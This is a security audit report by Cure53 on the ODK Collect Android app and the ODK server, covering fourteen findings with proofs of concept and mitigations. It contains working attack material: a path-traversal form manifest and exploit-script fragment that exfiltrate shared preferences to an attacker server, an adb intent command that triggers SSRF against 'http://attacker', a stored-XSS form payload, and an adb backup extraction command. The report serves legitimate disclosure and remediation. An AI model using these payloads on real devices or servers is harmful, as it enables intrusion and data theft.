Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Pentest- & Review-Report ODK Mobile Apps, Server & Threat Model 07.2024

Cure53, Dr.-Ing. M. Heiderich, M. Piechota, P. Papurt

Index

- Introduction
- Scope
- Identified Vulnerabilities
  - ODK-01-001 WP1: DoS via serialized intents (Medium)
  - ODK-01-002 WP1: HTTP connections explicitly allowed on Android (Medium)
  - ODK-01-003 WP1: Weak admin passwords permitted (Low)
  - ODK-01-004 WP1: Clear-text storage of admin password in shared prefs (Medium)
  - ODK-01-008 WP1: Arbitrary file write leads to sensitive data exfiltration (Critical)
  - ODK-01-009 WP1: Unprotected activities facilitate SSRF (Medium)
  - ODK-01-010 WP1: Android Java deserialization vulnerability (High)
  - ODK-01-013 WP2: Stored XSS in form preview printing (Medium)
- Miscellaneous Issues
  - ODK-01-005 WP1: Support of insecure v1 signature on Android (Info)
  - ODK-01-006 WP1: Unmaintained Android version support via minSDK level (Info)
  - ODK-01-007 WP1: Enabled backup flag facilitates data exfiltration (Info)
  - ODK-01-011 WP1: Sensitive data sent via URL parameter (Info)
  - ODK-01-012 WP1: Potential XSS in WebView (Medium)
  - ODK-01-014 WP1: Raw query usage potentially facilitates SQLi (Info)
- Conclusions

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Introduction

“Collect data anywhere - ODK lets you build powerful forms to collect the data you need wherever it is. Join the leading researchers and field teams using ODK to collect data that matters.”

From https://getodk.org/#features

This report outlines the results of a penetration test and source code audit of the ODK Android mobile application and server software, as well as a review of the ODK threat model documentation and security architecture. The assignment was performed by Cure53 in CW28 July 2024 following the request submitted by Get ODK, Inc. in May 2024.

To provide some context regarding the setup and aims, the work initiatives were divided into three separate work packages (WPs). These read as follows:

- **WP1**: White-box pen.-tests & source code audits against ODK Android app
- **WP2**: White-box pen.-tests & source code audits against ODK server software
- **WP3**: Reviews against ODK threat model documentation & security architecture

The customer prescribed fourteen assessment days within the overall budget, which was deemed an ample allocation to glean an accurate appraisal of the targets. This investment was dispersed among three senior Cure53 analysts, who handled the preparation, execution, and finalization phases of the engagement. The test procedures complied with a white-box methodology, necessitating the provision of sources, documentation, test-user credentials, and other data points for access or scope clarification.

Preparatory activities for the ODK security assessment were completed in early July 2024 (CW27), ensuring a streamlined testing process. A dedicated Slack channel served as the primary communication platform throughout the proceedings. This channel facilitated seamless collaboration between ODK and Cure53 personnel, fostering a clear understanding of the scope and achieved tasks. Minimal queries between the two teams were required and Cure53 maintained open communication by providing frequent status updates on the progress and associated findings. Live reporting was not required.

Cure53 achieved extensive coverage across the defined scope (WP1-WP3), identifying fourteen findings categorized as eight security vulnerabilities and six general weaknesses with lower exploitability potential.

This thorough assessment yielded valuable insights into the ODK application's security posture. The identified discoveries provide a clear roadmap for ODK to prioritize and incorporate security improvements, ultimately strengthening the application's resilience against potential threats.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Notably, one of the identified vulnerabilities was ranked with a *Critical* severity marker, pertaining to an arbitrary file write that leads to the exfiltration of sensitive information and data (see ODK-01-008). In order to ensure a safe user experience, the developer team should strive to resolve this drawback as soon as possible.

While a number of vulnerabilities were identified, this project presents an opportunity to strengthen the ODK mobile application and backend security. Once the identified issues have been resolved, the application will undoubtedly be positioned for secure production deployment.

Moving forward, the report presents the *Scope*, testing setup, and a bullet-pointed breakdown of the leveraged assets. Subsequently, all findings are listed in chronological order of detection, starting with the *Identified Vulnerabilities* and followed by the *Miscellaneous Issues*. Each ticket attaches a technical precis, Proof-of-Concept (PoC) and/or steps to reproduce where applicable, affected code excerpts, and mitigatory or preventative guidance.

Lastly, the report finalizes with a conclusion in which Cure53 elaborates on the impressions gained toward the general security posture of the targeted implementations. High-level hardening advice and follow-up actions for the ODK team to consider are also offered.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Scope

- **Pen.-tests & code audits against ODK mobile apps, server & threat model**
  - **WP1:** White-box pen.-tests & source code audits against ODK Android app
    - **Source code:**
      - https://github.com/getodk/collect/releases/tag/v2024.1.3
    - **Mobile application build:**
      - URL:
        - https://play.google.com/store/apps/dev?id=6923365842552008664&hl=en
      - Version:
        - v2024.1.3
    - **Environment:**
      - https://pentest.getodk.cloud
  - **WP2:** White-box pen.-tests & source code audits against ODK server software
    - **Source code:**
      - https://github.com/getodk/central/releases/tag/v2024.1.0
      - https://github.com/getodk/central-frontend/releases/tag/v2024.1.0
      - https://github.com/getodk/central-backend/releases/tag/v2024.1.0
    - **Environment:**
      - https://pentest.getodk.cloud
  - **WP3:** Reviews against ODK threat model documentation & security architecture
    - Security architecture:
      - *ODK Security Overview*
        - https://docs.getodk.org/security
  - **Test-user credentials:**
    - U: mario@cure53.de
    - U: haqpl@volt.cure53.de
    - U: rootsys@cure53.de
  - **Test-supporting material was shared with Cure53**
  - **All relevant sources were shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, all tickets are given a unique identifier (e.g., *ODK-01-001*) to facilitate any future follow-up correspondence.

ODK-01-001 WP1: DoS via serialized intents *(Medium)*

Cure53 confirmed that the ODK Android app exposes various activities to third-party apps. A malicious application could leverage this weakness to crash the ODK Android app at any time by sending a crafted intent. The impact of this issue was evaluated as *Medium*, since a malicious app running in the background could perform this action continuously to ensure that the targeted app is rendered completely unusable, thus causing a Denial-of-Service (DoS).

The *IntentFuzzer* app can be utilized to simulate a serializable intent sent to the Android app, as outlined in the following steps:

PoC:
https://github.com/MindMac/IntentFuzzer

Steps to reproduce:

1. Open the ODK app and push it to the background while it is running.
2. Record the Android logs locally via:

   ```
   adb logcat > log.txt
   ```

3. Open the *IntentFuzzer* app, select *NonSystemApps → org.odk.collect.android*.
4. Click *Serialize Fuzz All*.
5. Click *ON* twice. Confirm in the logcat output that a serializable intent caused a fatal crash in *org.odk.collect.android*.

Crash output (syslog):

```
07-08 15:02:36.105  5597  5597 D AndroidRuntime: Shutting down VM
07-08 15:02:36.105  5597  5597 E AndroidRuntime: FATAL EXCEPTION: main
07-08 15:02:36.105  5597  5597 E AndroidRuntime: Process:
org.odk.collect.android, PID: 5597
07-08 15:02:36.105  5597  5597 E AndroidRuntime:
java.lang.RuntimeException: Parcelable encountered ClassNotFoundException
reading a Serializable object (name =
com.android.intentfuzzer.util.SerializableTest)
[...]
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

To mitigate this issue, it is recommended to correctly validate the data received via intents. This would help to avoid the situation whereby a malicious application attempts to cause the ODK application to crash by sending serialized Java objects.

ODK-01-002 WP1: HTTP connections explicitly allowed on Android *(Medium)*

During a review of the Android ODK mobile application, Cure53 noticed that the mobile app explicitly allowed HTTP (plain-text) connections by setting *android:usesCleartextTraffic*[1] to *true* in the *AndroidManifest.xml* file. This configuration is dangerous and potentially renders all HTTP communication of the ODK Android app vulnerable to Man-in-the-Middle (MitM) attacks.

One can pertinently note that the provided *ODK Security Overview* Google document explicitly mentions that the maintainers are aware of this situation and do not deem the risk to be significant. Nevertheless, HTTP clear-text communication is far from ideal from a security standpoint and can potentially result in unnecessary weaknesses. Hence, Cure53 believed it apt to reiterate this circumstance as a ticket within the report.

Affected file:
collect_app/src/main/AndroidManifest.xml

Affected code:
```
android:usesCleartextTraffic="true"
```

To mitigate this issue, Cure53 advises forbidding or limiting clear-text communications, given that unencrypted HTTP traffic is vulnerable to MitM attacks. Even if the current situation does not pose a security risk at present, future modifications of the app could introduce severe problems, such as when querying other HTTP endpoints instead of HTTP without encrypting the actual HTTP body, or transmitting sensitive information as part of the unencrypted URL.

ODK-01-003 WP1: Weak admin passwords permitted *(Low)*

While dynamically testing the ODK Android app, Cure53 discovered that users can set an admin password within the local settings window, which is utilized to lock and protect administrative settings. However, the evaluations revealed that users are able to set extremely weak and easily guessable passwords, such as *1*.

In order to brute-force this password, an attacker would need access to an unlocked device (via PIN, FaceID, or Fingerprint) or elevated access to the device itself (via an SSH connection on a jailbroken device, for example). Due to these prerequisites, the severity of this vulnerability has been reduced to *Low*.

[1] https://developer.android.com/guide/topics/manifest/application-element

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

PoC:

1. Open the ODK Android mobile application.
2. Click *Project settings → Set admin password* (at the bottom within the *Protected* settings).
3. Enter a weak password, e.g., *1*, and verify that the mobile application accepts it.

From a design perspective, one must question the admin password's intended protection. For example, local attackers will always be able to brute-force the admin password, particularly if they have elevated access to the device.

To mitigate this issue, Cure53 recommends implementing a password complexity policy, which would deter attackers in possession of a physical device that is either unlocked or lacks PIN, FaceID, or Fingerprint protection from exploiting this circumstance. Industry-accepted rules are stipulated in the OWASP[2] guidelines and should follow the minimum length of ten or more characters for any password deployed in the setup. The development team could assert the following requirements for the construction of acceptable passwords:

- at least one uppercase character;
- at least one lowercase character;
- at least one digit;
- at least one special character;
- no more than two identical characters in a row.

ODK-01-004 WP1: Clear-text storage of admin password in shared prefs *(Medium)*

While dynamically testing the Android ODK mobile application, Cure53 noted that users can set an admin password within the local settings window. This password is utilized to lock and protect the administrative settings within the ODK app. Analyzing the storage of the admin password on the file system, it was observed that the password is stored in clear-text inside the shared preferences. Storing sensitive data or passwords in unencrypted forms on the device is considered insecure. The aforementioned files can, for example, be accessed by attackers with elevated access to a victim's device.

The following command demonstrates the clear-text storage of the admin password inside the shared preferences.

PoC:

```
emulator_arm64:/data/data/org.odk.collect.android/shared_prefs # cat
admin_prefsd3e43cbf-1536-4c5f-9cb1-4f24f7144630.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <boolean name="jump_to" value="true" />
    <boolean name="change_constraint_behavior" value="true" />
```

[2] https://owasp.deteact.com/cheat/cheatsheets/Authentication_Cheat_Sheet.html

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    <boolean name="change_autosend" value="true" />
    <string name="admin_pw">a</string>
    [...]
</map>
```

To mitigate this issue, Cure53 suggests employing *EncryptedSharedPreferences*[3] to encrypt sensitive data stored within the *shared_prefs* folder. This would increase the application's robustness against the described attack strategy, using the Android Keystore to handle the master key and encrypt/decrypt all other keysets. Moreover, the ODK team should encrypt the database contents using a key from the Android Keystore. For supporting guidance, please refer to the official Android guide for secure data storage[4].

ODK-01-008 WP1: Arbitrary file write leads to sensitive data exfiltration *(**Critical**)*

***Fix Note**: The issue was addressed by the ODK team and the fix was verified by Cure53 who were able to review the related diff & PR. The issue no longer exists.*

During the assessment, Cure53 found that the Android application fails to properly sanitize filenames and enables the exfiltration of files from the Android device, including sensitive data. This vulnerability poses a significant risk as it allows unauthorized access to critical configuration files, potentially exposing confidential information and compromising the integrity of the application and device.

To exploit this vulnerability, Cure53 chained together two separate weaknesses that share the same root cause, namely the lack of sanitization for user-controlled filenames and paths.

The first instance was located in the code responsible for downloading the form's media files. The vulnerable parameter from the form XML manifest, *filename*, was processed without adequate sanitization to remove *../* characters, allowing files to be saved outside of the sandboxed form instance directory:

Malicious form manifest:

```
<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns="http://openrosa.org/xforms/xformsManifest">
[...]
       <mediaFile>
       <filename>/../../../../../../../../../../../../../../../storage/
emulated/0/Android/data/org.odk.collect.android/files/projects/DEMO/
metadata/instances.db
       </filename>
       <hash>md5:d56b70f4e32132a7383b6a847f1d5203</hash>
```

[3] https://developer.android.com/reference/androidx/security/crypto/EncryptedSharedPreferences
[4] https://developer.android.com/topic/security/data

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
<downloadUrl>http://192.168.0.73:5000/media/instances.db</downloadUrl>
      </mediaFile>
</manifest>
```

Below is a vulnerable function responsible for copying downloaded media files from the temporary location to the form instance directory:

Affected file:
collect_app/src/main/java/org/odk/collect/android/utilities/FileUtils.java

Affected code:

```
public static String copyFile(File sourceFile, File destFile) {
      if (sourceFile.exists()) {
      String errorMessage = actualCopy(sourceFile, destFile);
[...]
}
private static String actualCopy(File sourceFile, File destFile) {
[...]
      try {
      fileInputStream = new FileInputStream(sourceFile);
      src = fileInputStream.getChannel();
      fileOutputStream = new FileOutputStream(destFile);
      dst = fileOutputStream.getChannel();
      dst.transferFrom(src, 0, src.size());
[...]
}
```

In the proposed attack scenario, a malicious form manifest was used to overwrite files in the *DEMO* project. These files were specially crafted to create a completed form, which was later submitted to an attacker-controlled server, leading to sensitive data leakage. This exposed another pitfall: the lack of sanitization of the *instanceFilePath* column in the *instances.db* SQLite database. Here, one can trick the application into reading form attachments from the directory containing the application's shared preferences, rather than the sandboxed form instance directory.

Below is a fragment of the exploit script with the preparation of the *instances.db* database:

Exploit code snippet:

```
cursor.execute(f'''
      INSERT INTO instances (_id, displayName, submissionUri,
canEditWhenComplete, instanceFilePath, jrFormId, jrVersion, status, date,
deletedDate, geometry, geometryType)
      VALUES (1, 'All question types', 'http://{IP}:5000/submission',
'true',
'/../../../../../../../../../../../../../../../../../../data/user/0/org.odk.colle
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
ct.android/shared_prefs/./sploit.xml', 'all-question-types', '2024022902',
'complete', 1720712385267, NULL, NULL, NULL)
        ''')
```

After overwriting the database of the *DEMO* project with the completed form instance, the form submission will attempt to upload attachments from the */data/user/0/org.odk.collect.android/shared_prefs/* directory to the attacker's server, *http://{IP}:5000/submission*.

Affected file:
collect_app/src/main/java/org/odk/collect/android/upload/InstanceServerUploader.java

Affected code:

```
public String uploadOneSubmission(Instance instance, String urlString)
throws FormUploadException {
[...]
        File instanceFile = new File(instance.getInstanceFilePath());
[...]

        List<File> files = getFilesInParentDirectory(instanceFile,
submissionFile);
[...]
        postResult = httpInterface.uploadSubmissionAndFiles(submissionFile,
files, uri, webCredentialsUtils.getCredentials(uri), contentLength);
[...]
        }

private List<File> getFilesInParentDirectory(File instanceFile, File
submissionFile) {
        List<File> files = new ArrayList<>();

        // find all files in parent directory
        File[] allFiles = instanceFile.getParentFile().listFiles();
        [...]
        return files;
}
```

In the vulnerable code presented above, *getFilesInParentDirectory* fails to sufficiently sanitize the path of the form instance.

Steps to reproduce:

1. Download the exploit script from the following location: https://cure53.de/exchange/412309857243567802/server.py.
2. Update the script with an IP address, which will be reachable from the Android device.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Script IP setting:
```
IP = "192.168.0.73"
```

3. Install the required Python3 libraries:

   Pip command:
   ```
   pip3 install flask segno
   ```

4. Execute the script:

   Python3 command:
   ```
   python3 server.py
   ```

5. Visit the URL from a browser other than that on the Android device printed by the script: *Running on http://192.168.0.73:5000.* The QR code with the project settings should be visible.
6. Install the ODK Collect application:

   ADB command:
   ```
   adb install ODK-Collect-v2024.1.3.apk
   ```

7. Open the ODK Collect application and create a *DEMO* project.
8. Click *Add project* and scan the QR code from the browser. Here, one can view HTTP requests in the logs of the exploit script, indicating that the project is being imported, form media files were downloaded, and the *DEMO* project settings were overwritten.
9. Close the ODK collect application to reload the databases of the projects.
10. Open the application and switch to the *DEMO* project, wherein forms should be ready to send.
11. Submit the form and observe the script logs with POST requests attaching exfiltrated sensitive files, which are saved by the script in the *uploads* directory.

In a real attack scenario, a threat actor could minimize the requirement for user interaction by utilizing the DoS described in ticket ODK-01-001 to reload the databases and form auto send functionalities or the *InstanceUploaderListActivity* exported activity, for instance.

To mitigate this issue, Cure53 recommends either utilizing secure and robust libraries for filesystem operations or refactoring the code to sanitize user-controlled filenames and paths. Additionally, the dev team should implement safeguards against symlink attacks and review all other application locations wherein file operations are performed, with the purpose of tightening the form instance's sandbox. These steps will help to ensure that only legitimate file paths are processed, reducing the risk of data leaks and unauthorized access.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

ODK-01-009 WP1: Unprotected activities facilitate SSRF *(Medium)*

During the source code analysis and dynamic testing phase, Cure53 verified that the ODK Android application exports several activities without protection. While interacting with these activities, the test team acknowledged that the *FormDownloadListActivity* and *InstanceUploaderActivity* activities are susceptible to Server-Side Request Forgery (SSRF), allowing a malicious app running on the same device to send an intent to the ODK application, which issues an HTTP request to an attacker-controlled URL.

Notably, sending intents to the ODK Android application does not require any form of elevated privileges; any application running on the same device can also send these intents.

The following command can be executed on an Android device within an *adb shell*, resulting in an HTTP request being sent to the highlighted domain under the attacker's control.

To exploit this issue for the *FormDownloadListActivity* activity, simply amend the URL to an attacker-controlled domain and run the *adb shell* command:

Command:

```
$ adb shell am start -a "org.odk.collect.android.FORM_DOWNLOAD" \
  -c "android.intent.category.DEFAULT" \
  -t "vnd.android.cursor.dir/vnd.odk.form" \
  --esa "FORM_IDS" "one_question" \
  --es "URL" "http://attacker" \
  --es "USERNAME" "Pete" \
  --es "PASSWORD" "meyre"
```

To mitigate this issue, Cure53 recommends strictly limiting access to any exported activities within the ODK application. In particular, access to activities on Android should only remain unprotected if it is essential for other applications running on the device to interact with the activities in question.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

ODK-01-010 WP1: Android Java deserialization vulnerability *(High)*

***Fix Note**: The issue was addressed by the ODK team and the fix was verified by Cure53 who were able to review the related diff & PR. The issue no longer exists.*

During the code review of the Android application, the audit team verified that the implementation of Java deserialization to save the state of unfinished forms introduces a significant security vulnerability. The application deserializes objects without optimally validating or sanitizing the serialized input, rendering it susceptible to deserialization attacks. An adversary could exploit this flaw by injecting malicious payloads into the serialized form's data, which, when deserialized, can lead to arbitrary code execution. Below is a code snippet with the function responsible for form state deserialization:

Affected file:
collect_app/src/main/java/org/odk/collect/android/tasks/SaveFormIndexTask.java

Affected code:

```
public static FormIndex loadFormIndexFromFile(FormController
formController) {
	FormIndex formIndex = null;
	try {
	String instanceName = formController
		.getInstanceFile()
		.getName();
	ObjectInputStream ois = new ObjectInputStream(new
FileInputStream(SaveFormToDisk.getFormIndexFile(instanceName)));
	formIndex = (FormIndex) ois.readObject();
	ois.close();
	} catch (Exception e) {
	Timber.e(e);
	}

	return formIndex;
}
```

It is worth noting that only forms that disable *moving_backwards* settings are serialized. Cure53 confirmed the deserialization of arbitrary Java objects but refrained from exploiting this vulnerability to achieve command execution due to time constraints. To mitigate this issue, Cure53 advises adopting a secure serialization framework that inherently prevents unsafe deserialization. Alternatively, the ODK team should implement strict input validation and sanitization to ensure that only trusted data is processed. Allow-listing techniques should also be enforced to restrict deserialization to a predefined set of safe classes. Notably, attackers can leverage other vulnerabilities to deliver malicious payloads (such as the arbitrary file write noted in ticket ODK-01-008), even if the serialized form state file is not user-controlled.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

ODK-01-013 WP2: Stored XSS in form preview printing *(Medium)*

Client Note: *This vulnerability was found when testing WP1 and was not the result of a thorough test of Enketo web forms. Enketo was not included in the scope of the audit because it is scheduled to be removed from ODK server software. There is no guarantee that this is the only vulnerability in Enketo.*

During the analysis, Cure53 detected a stored Cross-Site Scripting (XSS) vulnerability in the form preview functionality. Albeit, malicious input was only rendered when printing the form preview, which decreases the likelihood of this flaw. The form definition that triggers the vulnerability is presented next:

Malicious form with HTML injection:

```
<?xml version="1.0"?>
<h:html xmlns="http://www.w3.org/2002/xforms"
xmlns:h="http://www.w3.org/1999/xhtml"
       xmlns:ev="http://www.w3.org/2001/xml-events"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
       xmlns:jr="http://openrosa.org/javarosa"
xmlns:orx="http://openrosa.org/xforms"
       xmlns:odk="http://www.opendatakit.org/xforms">
       <h:head>
       <h:title>test_title2</h:title>
       <model odk:xforms-version="1.0.0">
              <instance>
              <data id="test_form_id222">
                     <fname><![CDATA[<img src=x
                     onerror=alert(window.origin)>]]></fname>
                     <meta>
                            <instanceID />
                            <instanceName />
                     </meta>
              </data>
              </instance>
              <bind nodeset="/data/fname" type="string" required="true()" />
              <bind nodeset="/data/meta/instanceID" type="string"
readonly="true()" jr:preload="uid" />
              <bind nodeset="/data/meta/instanceName" type="string"
calculate="concat('fname_', uuid())" />
       </model>
       </h:head>
       <h:body>
       <input ref="/data/fname">
              <label>What is the first name?</label>
       </input>
       </h:body>
</h:html>
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

In this form definition, the *fname* field contains an embedded HTML image tag with an *onerror* event that executes a JavaScript alert when the image fails to load. This input is stored in the form field's default value and is rendered during the form preview print. The lack of ideal sanitization facilitates the malicious script execution, potentially leading to various security risks such as data theft, unauthorized actions, and disclosure of sensitive information.

Steps to reproduce:

1. Create a new project.
2. Add a new form by uploading the malicious form definition above.
3. Click the *Preview* button.
4. Print the preview by clicking the top-right printer icon.
5. Cancel the print preview or print the form to the PDF to execute JavaScript.

To mitigate this issue, Cure53 recommends integrating stringent input validation and output encoding, as well as ensuring that all user inputs are sanitized to remove or encode any HTML or JavaScript content prior to storage and rendering. Additionally, the dev team should adopt an allow-list approach for acceptable input and use security libraries or frameworks that provide built-in XSS protection.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit but may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, while a vulnerability is present, an exploit may not always be possible.

ODK-01-005 WP1: Support of insecure v1 signature on Android *(Info)*

Cure53 determined that the Android build is signed with an insecure v1 APK signature, which renders the app susceptible to the known Janus[5] vulnerability on devices running Android older than 7.

This fault allows attackers to smuggle malicious code into the APK without breaking the signature. At the time of writing, the app supports a minimum SDK of 21 (Android 5), which also uses the v1 signature. Furthermore, Android 5 devices no longer receive updates and are vulnerable to a host of security issues. Thus, one can assume that any installed malicious app may trivially gain *root* privileges on those devices by leveraging public exploits[6][7][8].

The existence of this flaw means that attackers could trick users into installing a malicious attacker-controlled APK that matches the v1 APK signature of the legitimate Android application. As a result, a transparent update would be possible without any warning message on Android, effectively taking over the existing application and all of its data.

The utilized signature schemes and signing certificate can be printed using the *apksigner* utility, which is connected to the Android NDK[9]:

```
$ apksigner verify --print-certs -v ODK-Collect-v2024.1.3.apk
Verifies
Verified using v1 scheme (JAR signing): true
Verified using v2 scheme (APK Signature Scheme v2): true
Verified using v3 scheme (APK Signature Scheme v3): false
Verified using v3.1 scheme (APK Signature Scheme v3.1): false
Verified using v4 scheme (APK Signature Scheme v4): false
```

[5] https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-atta[...]affecting-their-signatures
[6] https://www.exploit-db.com/exploits/35711
[7] https://github.com/davidqphan/DirtyCow
[8] https://en.wikipedia.org/wiki/Dirty_COW
[9] https://developer.android.com/ndk/downloads

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

To mitigate this issue, Cure53 suggests increasing the minimum supported SDK level to at least 24 (Android 7) to ensure that this known vulnerability cannot be exploited on devices running older Android versions. In addition, future production builds should only be signed with v2 and newer APK signatures.

ODK-01-006 WP1: Unmaintained Android version support via minSDK level *(Info)*

While analyzing the Android manifest contained within the APK binary, the discovery was made that the app supports Android 5 (API level 21) and upward. The current version support can incur detrimental security implications since Android 10 (API level 29) received its final security updates in February 2023 and is no longer actively maintained.

As a result, the deployment increases the potential attack surface posed by the outdated environment in which the app operates. For instance, vulnerabilities such as *CVE-2019-2215*[10] and *StrandHogg 2.0*[11] can still affect Android versions up to Android 9 (API level 28).

Pertinently, the provided *ODK Security Overview* Google document explicitly mentions that ODK is aware of this shortcoming and deems the impact to be negligible. Nevertheless, the support of deprecated and outdated Android versions can potentially introduce security weaknesses and should be addressed.

Affected file:
AndroidManifest.xml

Affected code:
```
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="33" />
```

To mitigate this issue, Cure53 advises raising the *minSDK* level to 30 (Android 11) to ensure that the app can only run on an Android version that regularly receives security updates and is actively maintained. Increasing the API level in this way would reduce the app's potential attack surface within the Android version it operates on.

[10] https://nvd.nist.gov/vuln/detail/CVE-2019-2215
[11] https://www.helpnetsecurity.com/2020/05/28/cve-2020-0096/

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

ODK-01-007 WP1: Enabled backup flag facilitates data exfiltration *(Info)*

Cure53 identified that the ODK Android application implicitly sets the *allowBackup* flag to *true*. An attacker with physical access to a USB debug-enabled Android device can leverage this situation for data exfiltration purposes via the admin password stored inside the shared preferences, for instance (see ticket ODK-01-004).

The following command can be used to extract the data:

Command:
```
$  adb backup -f app.backup org.odk.collect.androidx
```

To mitigate this issue, Cure53 recommends reviewing the necessity of enabling this feature. The ODK team should consider disabling it outright to further safeguard the app against data exfiltration attempts.

ODK-01-011 WP1: Sensitive data sent via URL parameter *(Info)*

The test team verified that the ODK Android mobile application transmits certain sensitive data. Specifically, the transfer concerns the key required to join a project, which is disclosed via the URL as part of HTTP *GET* requests.

Generally, users must scan a QR code whenever they add a new project, which automatically configures the project within the app. The project URL, which is the sole requirement for joining a project, includes the access key embedded within the URL.

Various online resources[12] [13] outline the risk of sending sensitive information inside URL query parameters. This data may be logged on multiple occasions, including within the user's browser, on the web server, and in all forward- or reverse-proxies during this process. Furthermore, the URL may be sent to third parties via the *Referer* HTTP header. If sensitive information is contained within the URL's *query* parameters, the risk of an attacker receiving the information increases significantly.

The following provides a sample URL containing the key within the URL:

Example URL:
*https://pentest.getodk.cloud/v1/key/**dv4K!***
***9CPgyRhBMXEegGCNqjzy2xxe41kQb1IHtLH3g!KgtKovFzRfPDfu04rMjVr**/projects/537*

To mitigate this issue, Cure53 recommends only sending the key within the HTTP header or HTTP *POST* body, thus avoiding the circumstance whereby the key is transmitted as part of the URL.

[12] https://cheatsheetseries.owasp.org/cheatsheets/RE[...]heet.html#sensitive-information-in-http-requests
[13] https://portswigger.net/kb/issues/00500700_session-token-in-url

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

ODK-01-012 WP1: Potential XSS in WebView *(Medium)*

During the ODK Collect mobile application code review, the Cure53 auditors observed that the WebView component enabled JavaScript. Specifically, the application concatenates strings that are subsequently executed as JavaScript code within said WebView. This practice may inadvertently facilitate JavaScript injection if the concatenated strings include untrusted input.

Although JavaScript injection was not confirmed, the current implementation could be exploitable under certain conditions, thereby increasing the risk of malicious JavaScript execution.

A code snippet illustrating the problematic implementation is presented below:

Affected file:
collect_app/src/main/java/org/odk/collect/android/widgets/items/SelectImageMapWidget.java

Affected code:

```
@SuppressLint({"SetJavaScriptEnabled", "AddJavascriptInterface"})
private void setUpWebView() {
       binding.imageMap.getSettings().setJavaScriptEnabled(true);
       [...]
              @Override
              public void onPageFinished(WebView view, String url) {
              view.loadUrl("javascript:setSelectMode(" + isSingleSelect +
                     ")");
              for (SelectChoice selectChoice : items) {
                     view.loadUrl("javascript:addArea('" +
                     selectChoice.getValue() + "')");
              }
              highlightSelections(view);
[...]
```

To mitigate this issue, Cure53 recommends disabling JavaScript execution within the WebView configuration. If JavaScript must remain enabled for application functionality, the dev team should introduce robust input validation and encoding to ensure that all data processed within the WebView is sanitized. Additionally, one could configure restrictive WebView settings to minimize exposure, such as disabling file access, geo location, and access to content provider URLs.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

ODK-01-014 WP1: Raw query usage potentially facilitates SQLi *(Info)*

While analyzing the Android mobile application and backend for potential SQLi vulnerabilities, the discovery was made that raw queries are utilized. However, the test team was unable to prove that exploitation was possible during the time frame of the audit.

Affected files:
osmdroid/src/main/java/org/odk/collect/osmdroid/OsmMBTileSource.java

Affected code:
```
protected static int getInt(SQLiteDatabase db, String sql) {
	Cursor cursor = db.rawQuery(sql, new String[]{});
[...]
	return value;
}
```

Affected files:
osmdroid/src/main/java/org/odk/collect/osmdroid/OsmMBTileSource.java

Affected code:
```
public final class CustomSQLiteQueryExecutor extends
CustomSQLiteQueryBuilder {
	private final SQLiteDatabase db;

	public void end() throws SQLiteException {
	query.append(SEMICOLON);
	db.execSQL(query.toString());
	}

	public Cursor query()  throws SQLiteException {
	query.append(SEMICOLON);
	return db.rawQuery(query.toString(), null);
	}
}
```

To mitigate this SQL injection risk, Cure53 recommends implementing prepared statements.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Conclusions

This assignment presents the outcomes of the inaugural Cure53 security evaluation of the ODK mobile application, server, and threat model. ODK is a global standard for offline data collection via mobile or web apps, used by researchers and field teams to gather crucial data via powerful, customizable forms with synchronization upon connectivity. Easy data analysis is also supported through integration with tools such as Excel or Power BI.

